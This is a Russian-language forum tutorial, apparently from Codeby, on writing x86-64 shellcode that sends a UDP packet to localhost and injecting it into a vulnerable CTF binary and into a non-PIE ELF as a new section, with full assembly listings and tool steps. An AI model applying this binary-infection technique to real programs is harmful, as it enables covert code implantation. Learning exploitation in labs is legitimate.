• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Инъекция шеллкода в ELF. Прыгнул я в пустой колодец, чудом уцелел

binary_exploitation.jpg

Привет, киберрекруты! Статья посвящена написанию шеллкода и его внедрения в ELF как через уязвимость, так и с добавлением новой секцией данных. ТЗ следующее:
Код:
Написать программу, которая отправляет UDP пакет и его можно отследить в
WireShark.
Дополнительные требования:
1. Работающая программа написанная на языке ассемблер и программа не падает
после выполнения
2. Вставленный шеллкод в скомпилированну программу написанную на C/C++ -
выполняет свою задачу и поток управления восстанавливается (программа не
падает)
3. Вставить в любую существующую программу (у которого есть NX/DEP), шеллкод
выпоняет свою задачу и прога не падает

Из ТЗ, думаю, ясно, что статья будет состоять из четырех частей, одна из которых подготовительная. Начинаем.

Часть 0. Подготовка тест сервера
Для того, чтобы проверить работу шеллкода, необходимо создать тест сервер, на котором будет отображаться подключение, а сами пакеты будут ловиться в WireShark. Тест сервер будем писать на языке Python. Он будет максимально простым: открывать подключение и ожидать UDP-пакеты. Сначала импортируем библиотеку socket, задаем адрес и порт:
Python:
from socket import *
host = '127.0.0.1'
port = 4096
addr = (host,port)

Второй шаг - настройка сокета. Он должен работать с IPv4 и принимать UDP-пакеты: udp_socket = socket(AF_INET, SOCK_DGRAM). Затем открываем подключение: udp_socket.bind(addr). После этого создаем бесконечный цикл, чтобы постоянно не запускать программу. Скрипт будет принимать пакеты и выводить информацию о подключении:
Python:
while True:
    question = input('Do you want to quit? y\\n: ')
    if question == 'y': break
        print('wait data...')
        conn, addr = udp_socket.recvfrom(1024)
        print('client addr: ', addr)

Полный код:

Python:
from socket import *
host = '127.0.0.1'
port = 4096
addr = (host,port)
udp_socket = socket(AF_INET, SOCK_DGRAM)
udp_socket.bind(addr)
while True:
         question = input('Do you want to quit? y\\n: ')
         if question == 'y': break
            print('wait data...')
            conn, addr = udp_socket.recvfrom(1024)
            print('client addr: ', addr)
udp_socket.close()

После запуска вижу такую картину:

1680715582477.png


Пока забываем про него и переходим к написанию программы на языке ассемблер.

Часть 1. Пишем программу на языке Ассемблер
Программа будет отправлять UDP-пакеты по заданному адресу. Для этого необходимо:
  1. Открыть сокет
  2. Подключиться
  3. Отправить пакет
Начнем с первого пункта - открываем сокет. Сокет необходим для того, чтобы можно было взаимодействовать с сервером, а результатом будет сокет-дескриптор. Перед тем как программироватьстоить сказать, как подготавливать регистры для вызова функций в системе Linux x64:

1680715771862.png


В самом начале следует обнулить регистры, которые будем использовать. Это необходимо, потому что при внедрении шеллкода как нагрузки, значения регистров будут непредсказуемые:

Код:
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
xor r8, r8
xor r9, r9
xor r10, r10
xor r12, r12

Системный вызов socket имеет такой прототип: int socket(int domain, int type, int protocol);
domain
- выбираем протокол, с помошью которого будет произведено соединение. Значение 0x02 соответвует IPv4.
type - выбираем семантику соединения. В нашем случае - UDP.
protocol - так как для данного протока используем единственный сокет, то и значание будет равно нулю.
Системный вызов socket - 0x29 .

Таким образом, первый кусок кода выглядит так:

Код:
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
xor r8, r8
xor r9, r9
xor r10, r10
xor r12, r12
add di, 0x02 ; IPv4
add si, 0x02 ; UDP
add al, 0x29
syscall

Дальше необходимо произвести соединение. Оно необходимо, потому что он соединяет сокет, на который ссылается сокет-дескриптором sockfd к адресу, указанному в addr .
Прототип выглядит так: int connect(int sockfd, const struct sockaddr addr, socklen_t addrlen);
sockfd
- файловый дескриптор, который получаем после вызова функции socket
socklen_t
addrlen - определяет размер aadr
const struct sockaddr addr
- это структура в которой описывается адрес и порт получателя и тип протокола

Начну с создания структуры. Сначала прописывается тип протокола - IPv4 и он равен двум, после порт. В моем случаем порт равен 4096. Дальше адрес - 127.0.0.1. Таким образом, структура будет выглядеть так:

Код:
strct: dw 2 ; AF_INET ipv4
                     db 0x10,0x00 ; 4096
                     db 0x7f, 0x00, 0x00, 0x01 ; 127.0.0.1
                     db 0, 0, 0, 0, 0, 0, 0, 0

Так как в rax лежит сокет-дескриптор, то передаю его регистру rdi. Регистр rsi будет указателем на структуру strct. Длину, равная 32, передам rdx. В результате этот участок кода будет следующим:

Код:
xor rdi, rdi
xor rdx, rdx
xor rsi, rsi
add di, ax
xor r12, r12
add r12, rax
lea rsi, [rel + strct]
add rdx, 0x10
xor rax, rax
add al, 0x2a
syscall

Последняя часть кода - отправка пакета. Осуществляется с помощью функции sendto.
Прототип следующий:
ssize_t sendto(int sockfd, const void buf, size_t len, int flags, const struct sockaddr dest_addr, socklen_t addrlen);
sockfd
- файловый дескриптор, который получаем после вызова функции socket
buf
- сообщение, которое передаем
len - длина сообщения
flag - будет равен нулю
const struct sockaddr dest_addr - структура, в которой прописан адрес назначения
socklen_t addrlen - длина адреса

Для начала необходимо создать сообщение. Сообщение будет таким: message: db 'shellcode!',0 и его длина соответствено 10.
Суть такая же. Значение rax - передаю его регистру rdi . В rsi указателем передаю сообщение. rdx - длина, r10 - равен нулю, r8 - указателем передаю структуру с адресом и наконец r9 - длина адреса. Номер системного вызова sendto - 0x2c . Последняя часть кода:

Код:
xor rdi, rdi
xor rdx, rdx
add rdi, r12 ; sockfd
lea rsi, [rel + message] ; message
add dx, 0x0A ; len
xor r10, r10 ; flag
lea r8, [rel + strct]; dest addr
xor r9, r9
add r9, 0x10
xor rax, rax
add al, 0x2c
syscall

Чтобы программане падала - сделал петлю ( петля только в бинарном файле ) и только эта часть шеллкода и будет меняться в дальнейшем. В ней ничего сложного, просто на стек кладу адрес, с которого начинает работать бинарь, и возвращаюсь по этому адресу:

Код:
mov rax, 0x401000
push rax
xor rax, rax
ret

Полностью шеллкод выглядит так:

Код:
BITS 64

section .text
global _start
_start:

    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor r8, r8
    xor r9, r9
    xor r10, r10
    xor r12, r12
    add di, 0x02
    add si, 0x02
    add al, 0x29
    syscall
 
    xor rdi, rdi
    xor rdx, rdx
    xor rsi, rsi
    add di, ax
    xor r12, r12
    add r12, rax
    lea rsi, [rel + strct]
    add rdx, 0x10
    xor rax, rax
    add al, 0x2a
    syscall

    xor rdi, rdi
    xor rdx, rdx
    add rdi, r12
    lea rsi, [rel + message]
    add dx, 0x0A
    xor r10, r10
    lea r8, [rel + strct]
    xor r9, r9
    add r9, 0x10
    xor rax, rax
    add al, 0x2c
    syscall
 
    mov rax, 0x401000
    push rax
    xor rax, rax
    ret
 
section .data
    message: db 'shellcode!',0
strct: dw 2
         db 0x10,0x00
         db 0x7f, 0x00, 0x00, 0x01
         db 0, 0, 0, 0, 0, 0, 0, 0

Как видно из листинга, ничего сложного. Теперь необходимо скомпилить, запустить, проверить на сервере и в WireShark. Компиляция происходит следующим образом:

Код:
nasm -felf64 -o udp.o udb.asm
ld udp.o -o udp

После запуска на серверной части можно увидеть следующее:

1680716727108.png


Теперь проврека в сетевой акуле:

1680716743912.png


Вот и пакет, который передается:

1680716763800.png


Переходим ко второй части.

Часть 2. Инъекция шеллкода в уязвимую программу

Чтобы инъекция шеллкода в УЯЗВИМУЮ программу прошла успешно, необходимо достаточно учесть один факт - бинарь должен быть без NX/DEP и было бы круто иметь RWX сегмент. Для теста взял задание с сайта , только там были seccomp ограничения, поэтому пришлость патчить программу, чтобы не было лишних проблем. Через checksec , убедился, что NX отключен:

1680716884804.png


Программа просто принимает шеллкод и его исполняет. Реверсить бинарь не имеет смыла, а также писать сплойт. Просто как нагрузку отправляю шеллкод и жду его исполнения. Будет только одна проблема. Она связана с падением программы - сегфолтом. В ТЗ сказано, что не должно такого быть:

Код:
Вставленный шеллкод в скомпилированну программу написанную на C/C++ -
выполняет свою задачу и поток управления восстанавливается (программа не падает)

Поэтому буду пробовать дважды. В первый раз просто загружу шеллкод без изменений, а во второй раз, буду делать поправки. Если бы в эльфаре не было б включенного ASLR, то просто изменил бы значение, которое кладется на стек:

Код:
mov rax, 0x401000
push rax
xor rax, rax
ret

Компилирую программу так:

Код:
nasm udb.asm -o shellcode

и запускаю в отладчике EDB:

Код:
cat shellcode | edb --run ./pcat.elf

1680717392585.png


call rdx - запускается шеллкод, а попасть мы должны в инструкции дальше, которые идут после отработки шеллкода. Как пашет шеллкод не особо интересно, потому что сама суть программы не менялась. Важно то, что находится на стеке:

1680717416505.png


Как видно из скрина на стеке лежит адрес возврата из шеллкода, который соответвует адресу инструкции mov eax, 0 . Поэтому поправки будут минимальные - просто уберем адрес, который кладется на стек:

Код:
xor rax, rax
add al, 0x2c
syscall
ret

В итоге полный шеллкод для этого случая такой:

Код:
BITS 64
section .text
global _start

_start:
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor r8, r8
    xor r9, r9
    xor r10, r10
    xor r12, r12
    add di, 0x02
    add si, 0x02
    add al, 0x29
    syscall

    xor rdi, rdi
    xor rdx, rdx
    xor rsi, rsi
    add di, ax
    xor r12, r12
    add r12, rax
    lea rsi, [rel + strct]
    add rdx, 0x10
    xor rax, rax
    add al, 0x2a
    syscall

    xor rdi, rdi
    xor rdx, rdx
    add rdi, r12
    lea rsi, [rel + message]
    add dx, 0x0A
    xor r10, r10
    lea r8, [rel + strct]
    xor r9, r9
    add r9, 0x10
    xor rax, rax
    add al, 0x2c
    syscall
    ret
 
section .data
message: db 'shellcode!',0
strct:    dw 2
         db 0x10,0x00
         db 0x7f, 0x00, 0x00, 0x01
         db 0, 0, 0, 0, 0, 0, 0, 0

Запускаем и проверяем. Зпуск будет таким: cat shellcode | ./pcat.elf
Ответ сервера:

1680717571901.png


Из сетевой акулы:

1680717598223.png


Пакет:

1680717588948.png


Теперь переходим к последней части.

Часть 3. Инъекция шеллкода в эльф
На мой взгляд это самая интересная часть. Тут тоже есть микроограничение - в программе не должно быть PIE, то бишь отключен ASLR. Как жертву взял так же таск с . Проверяя его выяснил следующее:

1680717661047.png


Не важно, что тут отсутсвуют все защиты, главное, что нет PIE. Как работает инъекция? Суть максимально простая. Выделяем через mmap() память в самом бинаре, после записываем ее как новый сегмент памяти и туда уже вшиваем шеллкод. Почему же так важно, чтобы не было ASLR? Потому что важно знать адреса, где производить инъекцию. В результате будет работать так:

1680717689497.png


Данная схема была повзаимственна из книги - Практический анализ двоичных файлов. Эндриесс Д.
То есть, сначала отработает инъектированная область, потом уже сама программа. На данный момент имеем такой набор функций:

1680717792374.png


Однако, после инъекции, появится еще одна....

Чтобы программа вернулась к нормальной отработке необходимо посмотреть адрес _start , потому что с нее начинается работа программы:

1680717820870.png


В данном случае адрес - 0x400490 . Поэтому и шеллкод изменим - поместим на стек адрес _start :

Код:
mov rax, 0x400490
push rax
xor rax, rax
ret

В резльтате шеллкод будет таким:

Код:
BITS 64

section .text
global _start
_start:

    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor r8, r8
    xor r9, r9
    xor r10, r10
    xor r12, r12
    add di, 0x02
    add si, 0x02
    add al, 0x29
    syscall

    xor rdi, rdi
    xor rdx, rdx
    xor rsi, rsi
    add di, ax
    xor r12, r12
    add r12, rax
    lea rsi, [rel + strct]
    add rdx, 0x10
    xor rax, rax
    add al, 0x2a
    syscall

    xor rdi, rdi
    xor rdx, rdx
    add rdi, r12
    lea rsi, [rel + message]add dx, 0x0A
    xor r10, r10
    lea r8, [rel + strct]
    xor r9, r9
    add r9, 0x10
    xor rax, rax
    add al, 0x2c
    syscall

    mov rax, 0x400490
    push rax
    xor rax, rax
    ret

section .data
message: db 'shellcode!',0
strct:  dw 2
         db 0x10,0x00
         db 0x7f, 0x00, 0x00, 0x01
        db 0, 0, 0, 0, 0, 0, 0, 0

Теперь, как его инъектировать? В тулзе nameless , есть функция инъектирования, поэтому достаточно открыть файл с скопиленным шеллом, указать путь до жертвы и запустить.

Небольшой туториал по nameless
nameless
- тулза для конструирования шеллкода и инъектирования его в бинарь.
Запускаем программу nameless - ./nameless , после чего видим такое окно:

1680718016248.png


После нажимаем на вкладку File->Open - это мы открываем шеллкод. Результат можно проверить в окне, которое подписано как Opened File :

1680718042483.png


или в окне логирования, которое находится внизу окна:

1680718104548.png


Так же появится в главном окне байты - скомпиленный шеллкод:

1680718117656.png


Дальше опять выбираем File->Open File to Inject - это открываем жертву, бинарь, куда инъектирую шеллкод. Результат можно посмотреть в окне с подписью Inject File :

1680718146804.png


и так же в окне логирования:

1680718158254.png


Дальше Tools->ELFInject и в окне логирования ожидаем завершения:

1680718180993.png


Примерно такой должен быть вывод программы.
Теперь проверяем используя IDA Pro:

1680718209128.png


Как видно из скрина, появилась новая секция данных - start , если перейдем к ней, то увидим наш шеллкод:

1680718234356.png


Поставлю точку останова на инструкции mov eax, offset _start и запускаю под отладчиком, чтобы проверить, что программа не падает. Дошли до точки останова:

1680718262603.png


Проверяю через импровизированный сервер ответ:

1680718278288.png


и через wireshark:

1680718292731.png


Так же пакет:

1680718304973.png


Отлично! Шеллкод рабочий, теперь главное, чтобы прога не упала. Дохожу до ret и еще раз на F8 и попадаю в _start :

1680718331851.png


Теперь в принципе можно отпустить процесс и программа продолжит свое нормальное выполение:

1680718353848.png
 

Вложения

  • nameless.zip
    3,3 МБ · Просмотры: 78
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!